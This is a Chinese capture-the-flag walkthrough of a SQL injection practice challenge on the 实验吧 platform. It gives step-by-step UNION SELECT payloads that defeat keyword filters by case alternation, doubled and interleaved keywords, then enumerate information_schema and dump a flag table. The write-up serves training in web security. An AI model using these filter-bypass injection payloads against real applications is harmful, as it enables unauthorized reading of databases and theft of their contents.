概述
1.判断注入类型
1' or '1' = '1 结果如下
测试几个简单的语句后, 1' order by 1 # , 1' select 1 #
根据报错信息 # -- - order by select 等关键词都被过滤
关键词被过滤:解决方法如下
1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect
3.交叉: selecselectt
注释符被过滤,解决方法如下:
1.用 '号闭合 ,如having , where
经过测试,发现可用双写绕过关键字过滤,但要注意双写后要加两空格
暴库语句如下:
1' union select schema_name from information_schema.schemata where '1' ='1
查询数据表语句如下:
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schema='web1
问题来了:这里报错了,错误如下
可以看到 (table_schema='web1) 等号前的table_chema被过滤了,按以上三种方法(双写,交叉,大小写)测试发现,交叉法可以绕过过滤;
新语句如下:
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schemtable_schemaa='web1
发现flag,获取flag表的字段名
1' unionunion selectselect column_name fromfrom information_schema.columns wherewhere table_name='flag
又有报错信息
比对后发现,from infromation_schema.columns 被过滤了,老方法,用交叉写法可以绕过
还有 column_name也被过滤了:
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.columninformation_schema.columnss wherewhere table_name='flag
发现flag字段名,获取flag
1' unionunion selectselect flag fromfrom flag wherewhere '1' ='1
最后
以上就是苗条八宝粥为你收集整理的简单的sql注入之一 (实验吧)的全部内容,希望文章能够帮你解决简单的sql注入之一 (实验吧)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复